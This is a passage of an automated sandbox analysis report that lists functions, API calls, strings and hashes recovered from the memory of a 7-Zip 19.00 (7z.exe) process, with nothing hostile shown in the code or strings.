                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: f4d9c5df7f8b7d7a50d10b176def1ac906b2dbe33b2ad29e85ea175187436e74
                                                                                                                                                                                                                                                              • Instruction ID: 9735296735b9640f7d26ec62396ca693e491c278d0d27efe9b9cd5699ecf5242
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: f4d9c5df7f8b7d7a50d10b176def1ac906b2dbe33b2ad29e85ea175187436e74
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D271CF72208A4181CB64EF25E8607EE77A3FB85BD4F04422AEF5E87765DF28C586C744
                                                                                                                                                                                                                                                              Function 006BA8A0 Relevance: 18.2, APIs: 10, Strings: 2, Instructions: 162COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006B339C: free.MSVCRT ref: 006B33D7
                                                                                                                                                                                                                                                                • Part of subcall function 006B339C: memmove.MSVCRT(00000000,?,?,00000000,006B10A8), ref: 006B33F2
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006BA90A
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006BA9AD
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID: /$\
                                                                                                                                                                                                                                                              • API String ID: 1534225298-1600464054
                                                                                                                                                                                                                                                              • Opcode ID: f198c9d99514ce9e4ce6b0316728f7062312fdaa462ade4dde103b6963418a90
                                                                                                                                                                                                                                                              • Instruction ID: 50f23a79997605f387ebd6e90a1b7ad3b0f701fab9b09a690b4f842aaed5d0bb
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: f198c9d99514ce9e4ce6b0316728f7062312fdaa462ade4dde103b6963418a90
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: BE5104F2314640A0CE60FF65D5510FE6362EB827D4B404229FB9E47766EF28CAC6D716
                                                                                                                                                                                                                                                              Function 006F85C7 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 58COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              • 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 006F8630
                                                                                                                                                                                                                                                              • Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values, xrefs: 006F8640
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$fputs$memmove
                                                                                                                                                                                                                                                              • String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values
                                                                                                                                                                                                                                                              • API String ID: 2337578458-4238946813
                                                                                                                                                                                                                                                              • Opcode ID: fc1f1692e1a7be690a265933f0a82059642291962d2ae098a8720eef4c07a75c
                                                                                                                                                                                                                                                              • Instruction ID: fff634596bb1a8ccd4503fd45e0baf023c112b49de488d4e815d3966ad1bb899
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: fc1f1692e1a7be690a265933f0a82059642291962d2ae098a8720eef4c07a75c
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6A1179B33046C58ACA60DF19E9903AEB323BB85B80F444162CB5D5B719CF38C89AC701
                                                                                                                                                                                                                                                              Function 006BFEC8 Relevance: 16.6, APIs: 8, Strings: 3, Instructions: 146COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              • Cannot find listfile, xrefs: 006BFF12
                                                                                                                                                                                                                                                              • The file operation error for listfile, xrefs: 006BFF71
                                                                                                                                                                                                                                                              • Incorrect item in listfile.Check charset encoding and -scs switch., xrefs: 006BFFDA, 006C000E
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ExceptionThrow
                                                                                                                                                                                                                                                              • String ID: Cannot find listfile$Incorrect item in listfile.Check charset encoding and -scs switch.$The file operation error for listfile
                                                                                                                                                                                                                                                              • API String ID: 4001284683-1604901869
                                                                                                                                                                                                                                                              • Opcode ID: 96405dd8fb92279f030b02bc931f9dc36b9c89402a3ea1ebc254a3a14f5713aa
                                                                                                                                                                                                                                                              • Instruction ID: c4fc084d204add7b707b5a5c46387da179629c78525e10c7374403012a067f00
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 96405dd8fb92279f030b02bc931f9dc36b9c89402a3ea1ebc254a3a14f5713aa
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D251F3B231868592DA20DF16E8907EEA722F7967D0F90011AEF8D03B69DF7CC945CB40
                                                                                                                                                                                                                                                              Function 006B7524 Relevance: 16.4, APIs: 13, Instructions: 153COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ErrorLast
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 408039514-0
                                                                                                                                                                                                                                                              • Opcode ID: 56e310f5247428a7174e856c66c809f8f157f3f47fc266d476a18a669d8f27e7
                                                                                                                                                                                                                                                              • Instruction ID: 319f233536824432e339ae3fb0abf7cb9d46b443f1e0e225ec0de448f2348738
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 56e310f5247428a7174e856c66c809f8f157f3f47fc266d476a18a669d8f27e7
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A551AEA221C90192DA60EF24E4A15EEA762FBC1390F501225F79E43779DF68CDC7CB14
                                                                                                                                                                                                                                                              Function 006F3148 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 52COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs
                                                                                                                                                                                                                                                              • String ID: = $ERROR$ERRORS:$WARNING$WARNINGS:
                                                                                                                                                                                                                                                              • API String ID: 1795875747-2836439314
                                                                                                                                                                                                                                                              • Opcode ID: bfaef9fa8df0d205eec04fe16e9a27ef95300a9a3da73fd13572728b12155a0b
                                                                                                                                                                                                                                                              • Instruction ID: 2bfce8c1484d52b04a1e7197881cfb1489f6a43d1df80d73aa8cf7f56b1186d7
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: bfaef9fa8df0d205eec04fe16e9a27ef95300a9a3da73fd13572728b12155a0b
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: DD11ACF6704555D2EF24DB22E9543697722BB09BC4F088122CF4C07B64DF38EAA8C700
                                                                                                                                                                                                                                                              Function 006F65D0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 46COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$free
                                                                                                                                                                                                                                                              • String ID: $ MB$ Memory =
                                                                                                                                                                                                                                                              • API String ID: 3873070119-2616823926
                                                                                                                                                                                                                                                              • Opcode ID: 07695d8419c59f003fa7f84926a4645375bf0ceb04becd9a3de262dbf0bc1305
                                                                                                                                                                                                                                                              • Instruction ID: 1da0fcbdd03c4e279ae61583e57397b9eef580fd4f20d345af85607bf46ae147
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 07695d8419c59f003fa7f84926a4645375bf0ceb04becd9a3de262dbf0bc1305
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 451112B2604906D1EB20DF29F85436A2322FB84BD5F449236EA6E477A8DF3CD955C350
                                                                                                                                                                                                                                                              Function 006F30CC Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 32COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F30E7
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F3104
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F3114
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: free.MSVCRT ref: 006B237E
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: fputs.MSVCRT ref: 006B23B8
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: free.MSVCRT ref: 006B23C4
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F3132
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$free
                                                                                                                                                                                                                                                              • String ID: : Can not open the file as [$ERROR$Open $WARNING$] archive
                                                                                                                                                                                                                                                              • API String ID: 3873070119-2741933734
                                                                                                                                                                                                                                                              • Opcode ID: f32defa99fa0ddd8f5ee8d7903e4695ca461ad93e2af0abed86e02622ffafdb7
                                                                                                                                                                                                                                                              • Instruction ID: 4c6060b27ad4c48edf72a2af6afec4428464fedffb4d781737261570251f001b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: f32defa99fa0ddd8f5ee8d7903e4695ca461ad93e2af0abed86e02622ffafdb7
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: FCF04FA6700D06D1EE20DF26F8643AA6362BB59FC4F449132DE1E03364DE2CD549C340
                                                                                                                                                                                                                                                              Function 006B6F50 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 116threadCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • GetCurrentThreadId.KERNEL32 ref: 006B6F6D
                                                                                                                                                                                                                                                              • GetTickCount.KERNEL32 ref: 006B6F78
                                                                                                                                                                                                                                                              • GetCurrentProcessId.KERNEL32 ref: 006B6F85
                                                                                                                                                                                                                                                                • Part of subcall function 006B339C: free.MSVCRT ref: 006B33D7
                                                                                                                                                                                                                                                                • Part of subcall function 006B339C: memmove.MSVCRT(00000000,?,?,00000000,006B10A8), ref: 006B33F2
                                                                                                                                                                                                                                                              • GetTickCount.KERNEL32 ref: 006B7023
                                                                                                                                                                                                                                                              • SetLastError.KERNEL32 ref: 006B705C
                                                                                                                                                                                                                                                              • GetLastError.KERNEL32 ref: 006B7086
                                                                                                                                                                                                                                                                • Part of subcall function 006B6C84: CreateDirectoryW.KERNEL32 ref: 006B6CA8
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CountCurrentErrorLastTick$CreateDirectoryProcessThreadfreememmove
                                                                                                                                                                                                                                                              • String ID: .tmp$d
                                                                                                                                                                                                                                                              • API String ID: 3444860307-2797371523
                                                                                                                                                                                                                                                              • Opcode ID: 855db8f89ad4192e1f7aaf537696d0c704f64e19782212e671a724ccd2b912be
                                                                                                                                                                                                                                                              • Instruction ID: 383ba02beb8ec938af1076d566c78ff0fe62434b3fb78e5594b9869223941635
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 855db8f89ad4192e1f7aaf537696d0c704f64e19782212e671a724ccd2b912be
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F73101E6318260D6DB24AB26E8407EDA3A3BB94BC4F444126EF8647B21DE79C5C6C705
                                                                                                                                                                                                                                                              Function 006B6B2C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 87libraryloaderCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$AddressHandleModuleProc
                                                                                                                                                                                                                                                              • String ID: CreateHardLinkW$kernel32.dll
                                                                                                                                                                                                                                                              • API String ID: 399046674-294928789
                                                                                                                                                                                                                                                              • Opcode ID: 0711bf2b160802de48a7ad8e62ea8a456af0d095c717e74070ad8e7392e23327
                                                                                                                                                                                                                                                              • Instruction ID: 085159db7e5551913d6189b93dadf4816c8aed6642d0d22faabd7e3eb816568e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 0711bf2b160802de48a7ad8e62ea8a456af0d095c717e74070ad8e7392e23327
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6E2105A321154140CEA0EB29EC517EB6722EBC27D0F442235FF9A87764DE2DC8C6C704
                                                                                                                                                                                                                                                              Function 006BDEBC Relevance: 13.9, APIs: 11, Instructions: 168COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 7aae74738ebb1fa26e9c45f1fe68a2e26c39cce5353d9637d771cf3076791eab
                                                                                                                                                                                                                                                              • Instruction ID: 1ad5f41f1797ca53fba60388caa13b3aaa6e9bc1199d99b830b5c5a1d03b42f3
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 7aae74738ebb1fa26e9c45f1fe68a2e26c39cce5353d9637d771cf3076791eab
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 7E51D4A2315A4195CA60EF29E8501EB7762FBC5BE4B440229FF5E4B764EF39C5C2C704
                                                                                                                                                                                                                                                              Function 006C2C58 Relevance: 13.6, APIs: 9, Instructions: 127COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 4f627721fd3f548a9e12361352d12e7f0c520e4151b4dacedd918d3c46c14af4
                                                                                                                                                                                                                                                              • Instruction ID: 85abf482b3ccc70040c66002e67e6409c0e72ab96ac88f612cf26d39bd23e54f
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4f627721fd3f548a9e12361352d12e7f0c520e4151b4dacedd918d3c46c14af4
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2041816361458286CB70AE15E8A0ABD6363FB957A4F59023AFF5F17B14DE34DC828740
                                                                                                                                                                                                                                                              Function 006E5988 Relevance: 12.7, APIs: 10, Instructions: 233COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: e1faaf7df75186d5ae884903546cdcce3f308a231f1a81c91827175cf65db9ce
                                                                                                                                                                                                                                                              • Instruction ID: 1390d941c1ef8b21509100e6affed2d541233afbf4b5d889113d252b31112284
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e1faaf7df75186d5ae884903546cdcce3f308a231f1a81c91827175cf65db9ce
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F291D972606B8086CB50DF16E4A079FB362F785B98F50521AEB5F47768DF78C885C740
                                                                                                                                                                                                                                                              Function 006E13E8 Relevance: 12.6, APIs: 10, Instructions: 133COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: d553175bd705add0397085a2f68dee216f55efb8e0660d055bcfc610d1b73714
                                                                                                                                                                                                                                                              • Instruction ID: 60f5ed1b3dbe59797a8922016dad508360a2b467f002a641c17ee7c7b8019842
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d553175bd705add0397085a2f68dee216f55efb8e0660d055bcfc610d1b73714
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 0E515A77209AC485CA60DF2AE49079E77A2F78AB84F005116DF8E67B18CF39C496DB04
                                                                                                                                                                                                                                                              Function 006E16B2 Relevance: 12.6, APIs: 10, Instructions: 125COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
